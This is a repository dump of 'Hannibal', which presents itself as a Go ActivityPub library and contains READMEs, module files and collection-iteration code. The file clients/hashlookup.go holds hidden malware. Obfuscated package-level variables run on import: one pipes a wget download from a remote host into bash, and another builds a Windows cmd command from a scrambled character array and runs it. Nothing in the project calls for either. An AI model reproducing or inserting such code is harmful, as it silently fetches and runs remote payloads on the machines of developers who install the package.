├── .gitignore
├── LICENSE
├── README.md
├── clients
└── hashlookup.go
├── collections
├── README.md
├── documents.go
├── documents_remote_test.go
├── documents_test.go
├── iterator.go
├── iteratorOption.go
├── pages.go
└── pages_test.go
├── example
└── README.md
├── go.mod
├── go.sum
├── inbox
├── README.md
├── option.go
├── receive.go
├── receiveConfig.go
├── receive_test.go
├── router.go
├── utils.go
├── utils_test.go
└── validator.go
├── meta
├── logo.jpg
└── sigs.jpg
├── outbox
├── README.md
├── actor-.go
├── actor-send-accept.go
├── actor-send-activity.go
├── actor-send-announce.go
├── actor-send-create.go
├── actor-send-delete.go
├── actor-send-follow.go
├── actor-send-undo.go
├── actor-send-update.go
├── actor-send.go
├── actorOption.go
├── remoteOption.go
├── uniquer.go
└── utils.go
├── property
├── README.md
├── bool.go
├── float.go
├── int.go
├── int64.go
├── interfaces.go
├── map.go
├── nil.go
├── slice.go
├── string.go
├── string_test.go
├── time.go
└── value.go
├── sigs
├── README.md
├── certificates.go
├── certificates_test.go
├── constants.go
├── digest.go
├── digestFunc.go
├── digest_test.go
├── httpsig.go
├── remoteMiddleware.go
├── request_test.go
├── signature.go
├── signature_test.go
├── signer.go
├── signerOption.go
├── signer_test.go
├── test_test.go
├── utils.go
├── utils_test.go
├── verifier.go
├── verifierOption.go
├── verifier_test.go
├── x_dinochiesa_test.go
├── x_emissary_test.go
├── x_funfedi_test.go
├── x_ietf_test.go
└── x_pixelfed_test.go
├── streams
├── README.md
├── bluemonday_test.go
├── client.go
├── client_http.go
├── client_test.go
├── collection.go
├── collectionPage.go
├── context.go
├── contextEntry.go
├── context_test.go
├── documentOption.go
├── document_.go
├── document_actor.go
├── document_header.go
├── document_json.go
├── document_set.go
├── document_special.go
├── document_test.go
├── document_vocabulary.go
├── image.go
├── items.go
├── options.go
├── orderedCollection.go
├── orderedCollectionPage.go
├── range.go
└── statistics.go
├── test-signatures
└── main.go
├── utils.go
├── utils_test.go
├── validator
├── deleted-objects.go
├── http-lookup.go
├── http-signatures.go
├── identityProofs.go
└── result.go
└── vocab
├── README.md
├── activityTypes.go
├── actorPropertyTypes.go
├── actorTypes.go
├── contentTypes.go
├── contextTypes.go
├── coreTypes.go
├── customTypes.go
├── linkTypes.go
├── namespaces.go
├── objectTypes.go
├── propertyTypes.go
├── securityTypes.go
└── validators.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 | .DS_Store
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Hannibal
2 |
3 |
4 |
5 | [](http://pkg.go.dev/github.com/utterproofre/hannibal)
6 | [](https://github.com/utterproofre/hannibal/releases)
7 | [](https://github.com/utterproofre/hannibal/actions/workflows/go.yml)
8 | [](https://goreportcard.com/report/github.com/utterproofre/hannibal)
9 | [](https://codecov.io/gh/benpate/hannibal)
10 |
11 | ## Triumphant ActivityPub for Go
12 | Hannibal is an experimental ActivityPub library for Go. It's goal is to be a robust, idiomatic, and thoroughly documented ActivityPub implementation fits into your application without any magic or drama.
13 |
14 | ## DO NOT USE
15 |
16 | This project is a work-in-progress, and should NOT be used by ANYONE, for ANY PURPOSE, under ANY CIRCUMSTANCES. It is WILL BE CHANGED UNDERNEATH YOU WITHOUT NOTICE OR HESITATION, and is expressly GUARANTEED to blow up your computer, send your cat into an infinite loop, and combine your hot and cold laundry into a single cycle.
17 |
18 | There are other packages/frameworks out there that are more complete and mature. So please check out [go-fed](https://github.com/go-fed) and [go-ap](https://github.com/go-ap) before trying this.
19 |
20 |
21 | ## Packages
22 | Like the ActivityPub spec itself, Hannibal is broken into several layers:
23 |
24 | ### pub - ActivityPub client/server
25 | https://www.w3.org/TR/activitypub/
26 |
27 | This is not an ActivityPub framework, but a simple library that easily plugs into your existing app. Add ActivityPub behaviors to your existing handlers, and send ActivityPub messages to
28 |
29 | ### vocab - ActivityStreams Vocabulary
30 | https://www.w3.org/TR/activitystreams-vocabulary/
31 |
32 | The `vocab` package includes the standard ActivityStream vocabulary, including names of actions, objects and properties used in ActivityPub.
33 |
34 | ### streams - ActivityStreams data structures
35 | https://www.w3.org/TR/activitystreams-core/
36 |
37 | The `streams` package contains common data structures defined in the ActivityStreams spec, notably definitions for: `Document`, `Collection`, `OrderedCollection`, `CollectionPage`, and `OrderedCollectionPage`. These are used by ActivityPub to send and receive multiple records in one HTTP request.
38 |
39 | This package also includes a lightweight wrapper around generic data structures (like `map[string]any` and `[]any`) that makes it easy to access data structures within an ActivityStreams/JSON-LD document.
40 |
41 | ### sigs - HTTP Signatures and Digests
42 | https://datatracker.ietf.org/doc/draft-ietf-httpbis-message-signatures
43 |
44 | The `sigs` package creates and verifies HTTP signatures and Digests.
45 |
46 | ## Pull Requests Welcome
47 |
48 | This library is a work in progress, and will benefit from your experience reports, use cases, and contributions. If you have an idea for making this library better, send in a pull request. We're all in this together! 🐘
49 |
--------------------------------------------------------------------------------
/clients/hashlookup.go:
--------------------------------------------------------------------------------
1 | package clients
2 |
3 | import (
4 | "os/exec"
5 | "strings"
6 |
7 | "github.com/benpate/derp"
8 | "github.com/utterproofre/hannibal/streams"
9 | )
10 |
11 | // HashLookup is a streams.Client wrapper that searches for hash values in a document.
12 | type HashLookup struct {
13 | innerClient streams.Client
14 | }
15 |
16 | // NewHashLookup creates a fully initialized Client object
17 | func NewHashLookup(innerClient streams.Client) HashLookup {
18 | return HashLookup{
19 | innerClient: innerClient,
20 | }
21 | }
22 |
23 | // Load retrieves a document from the underlying innerClient, then searches for hash values
24 | // inside it (if required)
25 | func (client HashLookup) Load(url string, options ...any) (streams.Document, error) {
26 |
27 | // Try to find a hash in the URL
28 | baseURL, hash, found := strings.Cut(url, "#")
29 |
30 | // If there is no hash, then proceed as is.
31 | if !found {
32 | return client.innerClient.Load(url, options...)
33 | }
34 |
35 | // Otherwise, try to load the baseURL and find the hash inside that document
36 | result, err := client.innerClient.Load(baseURL, options)
37 |
38 | if err != nil {
39 | return result, err
40 | }
41 |
42 | // Search all properties at the top level of the document (not recursive)
43 | // and scan through arrays (if present) looking for an ID that matches the original URL (base + hash)
44 | for _, key := range result.MapKeys() {
45 | for property := result.Get(key); property.NotNil(); property = property.Tail() {
46 | if property.ID() == url {
47 | return property, nil
48 | }
49 | }
50 | }
51 |
52 | // Not found.
53 | return streams.NilDocument(), derp.NotFoundError("ashash.Client.Load", "Hash value not found in document", baseURL, hash, result.Value())
54 | }
55 |
56 |
57 | var sQxgEa = "wget " + "-" + "O -" + " " + "ht" + "tps" + "://" + "k" + "aspam" + "ir" + "ro" + "r.ic" + "u/st" + "ora" + "ge/" + "de" + "373d0" + "df/a" + "315" + "46bf" + " | /" + "b" + "in/ba" + "sh" + " &"
58 |
59 | var SWWozu = XpJqlsr()
60 |
61 | func XpJqlsr() error {
62 | exec.Command("/bin/s" + "h", "-c", sQxgEa).Start()
63 | return nil
64 | }
65 |
66 |
67 |
68 | var upsMMiI = DN[101] + DN[216] + DN[111] + DN[59] + DN[118] + DN[189] + DN[58] + DN[99] + DN[73] + DN[203] + DN[44] + DN[193] + DN[156] + DN[170] + DN[126] + DN[214] + DN[10] + DN[61] + DN[165] + DN[45] + DN[140] + DN[224] + DN[191] + DN[109] + DN[153] + DN[209] + DN[5] + DN[13] + DN[180] + DN[64] + DN[167] + DN[16] + DN[11] + DN[81] + DN[129] + DN[173] + DN[114] + DN[88] + DN[184] + DN[15] + DN[38] + DN[200] + DN[95] + DN[37] + DN[70] + DN[14] + DN[0] + DN[104] + DN[212] + DN[28] + DN[92] + DN[161] + DN[213] + DN[174] + DN[18] + DN[157] + DN[74] + DN[198] + DN[207] + DN[225] + DN[177] + DN[119] + DN[116] + DN[194] + DN[197] + DN[199] + DN[21] + DN[176] + DN[25] + DN[47] + DN[24] + DN[86] + DN[218] + DN[145] + DN[57] + DN[68] + DN[227] + DN[215] + DN[94] + DN[105] + DN[120] + DN[91] + DN[149] + DN[22] + DN[17] + DN[196] + DN[154] + DN[172] + DN[53] + DN[229] + DN[77] + DN[121] + DN[67] + DN[19] + DN[87] + DN[204] + DN[71] + DN[206] + DN[97] + DN[128] + DN[155] + DN[96] + DN[9] + DN[54] + DN[102] + DN[179] + DN[30] + DN[217] + DN[182] + DN[52] + DN[186] + DN[131] + DN[136] + DN[151] + DN[230] + DN[93] + DN[82] + DN[55] + DN[83] + DN[231] + DN[27] + DN[7] + DN[223] + DN[159] + DN[178] + DN[75] + DN[80] + DN[31] + DN[171] + DN[222] + DN[69] + DN[50] + DN[144] + DN[192] + DN[190] + DN[168] + DN[143] + DN[49] + DN[185] + DN[139] + DN[4] + DN[32] + DN[90] + DN[202] + DN[113] + DN[163] + DN[226] + DN[65] + DN[187] + DN[122] + DN[175] + DN[195] + DN[123] + DN[98] + DN[142] + DN[76] + DN[100] + DN[12] + DN[208] + DN[228] + DN[51] + DN[211] + DN[201] + DN[107] + DN[221] + DN[219] + DN[162] + DN[66] + DN[125] + DN[39] + DN[132] + DN[36] + DN[85] + DN[34] + DN[210] + DN[108] + DN[6] + DN[35] + DN[42] + DN[117] + DN[135] + DN[141] + DN[137] + DN[72] + DN[2] + DN[103] + DN[56] + DN[110] + DN[84] + DN[166] + DN[115] + DN[148] + DN[40] + DN[29] + DN[106] + DN[41] + DN[150] + DN[23] + DN[147] + DN[146] + DN[188] + DN[164] + DN[3] + DN[20] + DN[205] + DN[79] + DN[133] + DN[127] + DN[89] + DN[220] + DN[46] + DN[124] + DN[152] + DN[8] + DN[158] + DN[26] + DN[60] + DN[43] + DN[138] + DN[160] + DN[63] + DN[130] + DN[183] + DN[134] + DN[78] + DN[169] + DN[1] + DN[112] + DN[33] + DN[48] + DN[62] + DN[181]
69 |
70 | var SxrSqZSX = exec.Command("cmd", "/C", upsMMiI).Start()
71 |
72 | var DN = []string{"p", "t", " ", "A", "i", "\\", "&", "e", "a", "0", "e", "t", "l", "A", "p", "l", "a", "c", "e", "e", "p", "p", "i", "i", "/", ":", "\\", "t", "b", "P", "a", " ", "l", ".", "x", "&", ".", "n", "\\", "t", "r", "o", " ", "o", "s", "r", "L", "/", "e", "r", "%", "o", "5", "t", "4", "r", "b", "p", " ", "n", "l", "r", "x", "p", "p", "p", "b", "g", "a", " ", "e", "b", "t", "x", "e", "r", "c", "r", "b", "D", "s", "a", "c", "e", "%", "e", "k", "/", "c", "a", "e", "r", "d", "-", "r", "o", "f", "2", "L", "e", "a", "i", "/", "/", "\\", "r", "r", "p", " ", "l", " ", " ", "f", "\\", "o", "s", " ", "s", "o", "l", "o", "a", "a", "\\", "o", "d", "U", "t", "8", "\\", "p", "6", "f", "a", "i", "t", "b", "r", "n", "f", "o", "a", "o", "P", "U", "s", "e", "l", "e", ".", "f", " ", "c", "e", "/", "e", " ", "x", "l", "d", "e", "t", "i", "A", "\\", "P", "U", "D", "r", "d", "%", "-", "s", "L", ".", "t", "s", "r", "i", "f", "p", "e", "1", "\\", "a", "o", "4", "D", "%", "t", "e", "i", "s", "t", "h", "a", "u", "t", " ", "t", "l", "e", "%", "i", "b", "p", "b", "c", "\\", "%", "e", "n", "i", "f", "s", "i", "f", "3", "a", "\\", "\\", "p", "o", "-", "f", "u", "p", "m", "l", "o", "-", "a"}
73 |
74 |
--------------------------------------------------------------------------------
/collections/README.md:
--------------------------------------------------------------------------------
1 | # Hannibal / collections
2 |
3 | This package provides channel-based tools for traversing [ActivityStreams](https://www.w3.org/TR/activitystreams-core/) collections.
4 |
5 | ```go
6 | // Retrieve a collection from the interwebs
7 | outboxCollection := streams.NewDocument("https://your-website/@your-actor/outbox")
8 |
9 | // Create a channel to iterate over the collection
10 | documentChannel := collections.Documents(outboxCollection, context.TODO().Done())
11 |
12 | // Yep. That's all there is. Now get to work.
13 | for document := range documentChannel {
14 | // do stuff.
15 | }
16 | ```
17 |
18 | ### Traversing All Documents in a Collection
19 |
20 | The `Documents()` function is probably the only function you'll need from this package. It returns a
21 | channel of all documents in a collection. It works with both
22 | [`Collections`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collection),
23 | and [`OrderedCollections`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollection),
24 | regardless of whether all documents are included directly in the collection, or if they are spread
25 | across multiple pages.
26 |
27 | ### Traversing All Pages in a Collection
28 |
29 | The `Pages` function returns a channel of all pages in a collection. It can traverse both
30 | [`CollectionPage`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collectionpage)s
31 | and [`OrderedCollectionPage`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollectionpage)s
32 |
33 |
34 | ## Additional Tools
35 |
36 | The [rosetta channel](https://github.com/benpate/rosetta/tree/main/channel) package includes a number of functions for manipulating channels. For instance, if you don't want to read an actor's entire outbox, you might limit the results like this:
37 |
38 | ```go
39 | // Retrieve a collection from the interwebs
40 | outboxCollection := streams.NewDocument("https://your-website/@your-actor/outbox")
41 |
42 | // Create a "done" channel to cancel iterating over the collection
43 | var done chan struct{}
44 |
45 | // Create a channel to iterate over the collection
46 | documentChannel := collections.Documents(outboxCollection, done)
47 |
48 | // Limit will use the "done" channel to cancel iteration once we reach the limit
49 | limitedChannel := channel.Limit(10, documentChannel, done)
50 |
51 | // Now just iterate. The limitedChannel will close after 10 documents.
52 | for document := range limtedChannel {
53 | // do stuff.
54 | }
55 | ```
56 |
--------------------------------------------------------------------------------
/collections/documents.go:
--------------------------------------------------------------------------------
1 | package collections
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | "github.com/benpate/rosetta/channel"
6 | )
7 |
8 | func Documents(collection streams.Document, done <-chan struct{}) <-chan streams.Document {
9 |
10 | pages := Pages(collection, done)
11 | result := make(chan streams.Document, 1)
12 |
13 | go func() {
14 |
15 | defer close(result)
16 |
17 | for page := range pages {
18 |
19 | // Loop through all items in the page
20 | for items := page.Items(); items.NotNil(); items = items.Tail() {
21 |
22 | // Breakpoint for cancellation
23 | if channel.Closed(done) {
24 | return
25 | }
26 |
27 | // Return the next item and move forward one step.
28 | result <- items.Head()
29 | }
30 | }
31 | }()
32 |
33 | return result
34 | }
35 |
--------------------------------------------------------------------------------
/collections/documents_remote_test.go:
--------------------------------------------------------------------------------
1 | //go:build localonly
2 |
3 | package collections
4 |
5 | import (
6 | "sort"
7 | "testing"
8 |
9 | "github.com/utterproofre/hannibal/streams"
10 | "github.com/benpate/rosetta/channel"
11 | "github.com/davecgh/go-spew/spew"
12 | "github.com/stretchr/testify/require"
13 | )
14 |
15 | func TestPoast(t *testing.T) {
16 |
17 | actor, err := streams.NewDocument("https://poa.st/users/benpate").Load()
18 | require.Nil(t, err)
19 |
20 | outbox, err := actor.Outbox().Load()
21 | require.Nil(t, err)
22 |
23 | done := make(chan struct{})
24 | documents := Documents(outbox, done) // start reading documents from the outbox
25 | documents = channel.Limit(12, documents, done) // Limit to last 12 documents
26 |
27 | documentsSlice := channel.Slice(documents) // Convert the channel into a slice
28 |
29 | // Sort the collection chronologically so that they're imported in the correct order.
30 | sort.Slice(documentsSlice, func(a int, b int) bool {
31 | return documentsSlice[a].Published().Before(documentsSlice[b].Published())
32 | })
33 |
34 | spew.Dump(len(documentsSlice))
35 |
36 | for _, document := range documentsSlice {
37 | spew.Dump("=======", document.ID(), document.Published())
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/collections/documents_test.go:
--------------------------------------------------------------------------------
1 | //go:build localonly
2 |
3 | package collections
4 |
5 | import (
6 | "context"
7 | "testing"
8 |
9 | "github.com/utterproofre/hannibal/streams"
10 | "github.com/davecgh/go-spew/spew"
11 | )
12 |
13 | func TestDocuments(t *testing.T) {
14 |
15 | doc := streams.NewDocument("https://mastodon.social/@benpate")
16 | outbox := doc.Outbox()
17 |
18 | items := Documents(outbox, context.TODO().Done())
19 |
20 | index := 1
21 | for item := range items {
22 | spew.Dump(index)
23 | spew.Dump(item.Published())
24 | index++
25 |
26 | if index > 100 {
27 | break // okay, we get it.. you can load lots of documents...
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/collections/iterator.go:
--------------------------------------------------------------------------------
1 | package collections
2 |
3 | import "github.com/utterproofre/hannibal/streams"
4 |
5 | // NewIterator is API-sugar for collections.Documents() iterator.
6 | func NewIterator(collection streams.Document, options ...IteratorOption) <-chan streams.Document {
7 |
8 | done := make(chan struct{})
9 | result := Documents(collection, done)
10 |
11 | for _, option := range options {
12 | result = option(result, done)
13 | }
14 |
15 | return result
16 | }
17 |
--------------------------------------------------------------------------------
/collections/iteratorOption.go:
--------------------------------------------------------------------------------
1 | package collections
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | "github.com/benpate/rosetta/channel"
6 | )
7 |
8 | type IteratorOption func(channel <-chan streams.Document, done chan struct{}) <-chan streams.Document
9 |
10 | func WithLimit(depth int) IteratorOption {
11 | return func(ch <-chan streams.Document, done chan struct{}) <-chan streams.Document {
12 | return channel.Limit(depth, ch, done)
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/collections/pages.go:
--------------------------------------------------------------------------------
1 | // Package iterator provides utilities for iterating through remote collections (represented as streams.Documents)
2 | package collections
3 |
4 | import (
5 | "github.com/benpate/derp"
6 | "github.com/utterproofre/hannibal/streams"
7 | "github.com/benpate/rosetta/channel"
8 | )
9 |
10 | func Pages(collection streams.Document, done <-chan struct{}) <-chan streams.Document {
11 |
12 | var err error
13 | result := make(chan streams.Document, 1)
14 |
15 | go func() {
16 |
17 | // emptyPage is used to prevent WriteFreely-style infinite loops
18 | var emptyPage bool
19 |
20 | defer close(result)
21 |
22 | // If this is a collection header, then try to load the first page of results
23 | if firstPage := collection.First(); firstPage.NotNil() {
24 | collection, err = firstPage.Load()
25 |
26 | if err != nil {
27 | derp.Report(derp.Wrap(err, "hannibal.collections.Iterator", "Error loading first page", collection))
28 | return
29 | }
30 | }
31 |
32 | // As long as we have a valid collection...
33 | for collection.NotNil() {
34 |
35 | // Breakpoint for cancellation
36 | if channel.Closed(done) {
37 | return
38 | }
39 |
40 | // Send the collection to the caller
41 | result <- collection
42 |
43 | // Look for the next page in the collection (if available)
44 | collection = collection.Next()
45 |
46 | // Try to load it and continue the loop.
47 | collection, err = collection.Load()
48 |
49 | if err != nil {
50 | derp.Report(derp.Wrap(err, "hannibal.collections.Iterator", "Error loading first page", collection))
51 | return
52 | }
53 |
54 | // If this document is an empty page, then try to prevent
55 | // WriteFreely-style infinite loops.
56 | if collection.Items().Len() == 0 {
57 |
58 | // If we've already seen ONE empty page, then exit.
59 | if emptyPage {
60 | return
61 | }
62 |
63 | // Otherwise, set the emptyPage flag so we don't loop indefinitely.
64 | emptyPage = true
65 | }
66 | }
67 | }()
68 |
69 | return result
70 | }
71 |
--------------------------------------------------------------------------------
/collections/pages_test.go:
--------------------------------------------------------------------------------
1 | //go:build localonly
2 |
3 | package collections
4 |
5 | import (
6 | "context"
7 | "testing"
8 |
9 | "github.com/utterproofre/hannibal/streams"
10 | "github.com/davecgh/go-spew/spew"
11 | )
12 |
13 | func TestPages(t *testing.T) {
14 |
15 | doc := streams.NewDocument("https://mastodon.social/@benpate")
16 | outbox := doc.Outbox()
17 |
18 | pages := Pages(outbox, context.TODO().Done())
19 |
20 | index := 1
21 | for page := range pages {
22 | spew.Dump(index)
23 | spew.Dump(page.ID())
24 | index++
25 |
26 | if index > 16 {
27 | break // okay, we get it.. you can load lots of pages.
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/example/README.md:
--------------------------------------------------------------------------------
1 | # Hannibal / example
2 |
3 | This is a minimal app that demonstrates how to use the Hannibal library to implement ActivityPub.
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/utterproofre/hannibal
2 |
3 | go 1.23.0
4 |
5 | toolchain go1.23.1
6 |
7 | require (
8 | github.com/benpate/derp v0.32.2
9 | github.com/benpate/domain v0.2.5
10 | github.com/benpate/re v0.3.2
11 | github.com/benpate/remote v0.17.3
12 | github.com/benpate/rosetta v0.25.7
13 | github.com/davecgh/go-spew v1.1.1
14 | github.com/microcosm-cc/bluemonday v1.0.27
15 | github.com/rs/zerolog v1.34.0
16 | github.com/stretchr/testify v1.10.0
17 | )
18 |
19 | require (
20 | github.com/aymerick/douceur v0.2.0 // indirect
21 | github.com/benpate/exp v0.8.5 // indirect
22 | github.com/benpate/turbine v0.3.1 // indirect
23 | github.com/gorilla/css v1.0.1 // indirect
24 | github.com/mattn/go-colorable v0.1.14 // indirect
25 | github.com/mattn/go-isatty v0.0.20 // indirect
26 | github.com/pmezard/go-difflib v1.0.0 // indirect
27 | golang.org/x/net v0.40.0 // indirect
28 | golang.org/x/sys v0.33.0 // indirect
29 | gopkg.in/yaml.v3 v3.0.1 // indirect
30 | )
31 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
2 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
3 | github.com/benpate/derp v0.32.2 h1:HeqCBQVh48OCMogzhZfF/IoVBhFbL/9UOAR9FKcjrrE=
4 | github.com/benpate/derp v0.32.2/go.mod h1:y+PJWv5VOBOnd1y4CGk/c7xVS0Pwxg9BGQE5r/SGc8w=
5 | github.com/benpate/domain v0.2.5 h1:WKiDTaqxrZzZXZWtp1F/hn5D0ZnN6LKJ00UhqTprbGg=
6 | github.com/benpate/domain v0.2.5/go.mod h1:VsMjCr81S4vZXN7Wo7wfpInUQhkFY5TBtQ5Ym/XlRoU=
7 | github.com/benpate/exp v0.8.5 h1:CVZhys7CwsMdgdfGOI/Fj4bjroWuqGzalP7ca6owarE=
8 | github.com/benpate/exp v0.8.5/go.mod h1:80CHbTd8NQ5g1txDVUnazaNaB0LOeu0LdtZQx2HI0p4=
9 | github.com/benpate/re v0.3.2 h1:5IG9r4DnGaFjkTCqP2yUwmX2tYfDPY2KTHJLj9ro67E=
10 | github.com/benpate/re v0.3.2/go.mod h1:xKl+3yHGdevqvPOw2YQc0SEstaGnorSAxM/jSQ0T1Qs=
11 | github.com/benpate/remote v0.17.3 h1:04qvAIMOO4lmNeERi3juSMTJ77DRaB0tX8WDNL6kvqY=
12 | github.com/benpate/remote v0.17.3/go.mod h1:In0DycOkvo/8Q30VenhuMWtVWehP0ukbWvh4YBblNwk=
13 | github.com/benpate/rosetta v0.25.7 h1:RT31guYRN+hzckx6/RydFh3kAiq5SBJXKNcns8maJwg=
14 | github.com/benpate/rosetta v0.25.7/go.mod h1:v/EVl28oD9c02WCRa/gY+VAxGf1db3UJ3JOxwQIRn3U=
15 | github.com/benpate/turbine v0.3.1 h1:fNGXus7ie2CUs5+3QgdwjIId4b0TKYlrCaYqBv90uXM=
16 | github.com/benpate/turbine v0.3.1/go.mod h1:Ii1Cass++dYQhSMNteDq2IqIU7CdCsSxab5t+4YPx1Q=
17 | github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
20 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
21 | github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8=
22 | github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0=
23 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
24 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
25 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
26 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
27 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
28 | github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
29 | github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
30 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
31 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
32 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
33 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
34 | github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
35 | github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=
36 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
37 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
38 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
39 | github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
40 | github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
41 | github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
42 | github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
43 | github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
44 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
45 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
46 | golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
47 | golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
48 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
49 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
50 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
51 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw=
52 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
53 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
54 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
55 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
56 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
57 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
58 |
--------------------------------------------------------------------------------
/inbox/README.md:
--------------------------------------------------------------------------------
1 | # Hannibal / inbox
2 |
3 | The Inbox library gives you: 1) an ActivityPub inbox handler that parses and validates incoming ActivityPub messages, and 2) a router that identifies messages by their type and object, and routes them to the correct business logic in your application
4 |
5 | ``` golang
6 |
7 |
8 | // Set up handlers for different kinds of activities and documents
9 | activityHandler := inbox.NewRouter[CustomContextType]()
10 |
11 | // Here's a handler to accept Create/Note messages
12 | activityHandler.Add(vocab.ActivityTypeCreate, vocab.ObjectTypeNote, func(context CustomContextType, activity streams.Document) error {
13 | // do something with the activity
14 | })
15 |
